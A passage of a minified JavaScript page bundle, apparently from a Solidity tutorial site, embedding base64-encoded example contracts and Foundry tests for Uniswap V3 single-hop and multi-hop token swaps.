2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Zb=`
                    Uniswap V3 Single Hop Swap
                    
+`,yb=({prev:s,next:a})=>r.jsx(A,{version:db,title:Cb,description:jb,html:ub,prev:s,next:a,codes:Ab}),mb="0.8.24",bb="Uniswap V3 Swap Examples",wb="Uniswap V3 swap examples",kb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKCiAgICBzdHJ1Y3QgRXhhY3RPdXRwdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heGltdW07CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXQoRXhhY3RPdXRwdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2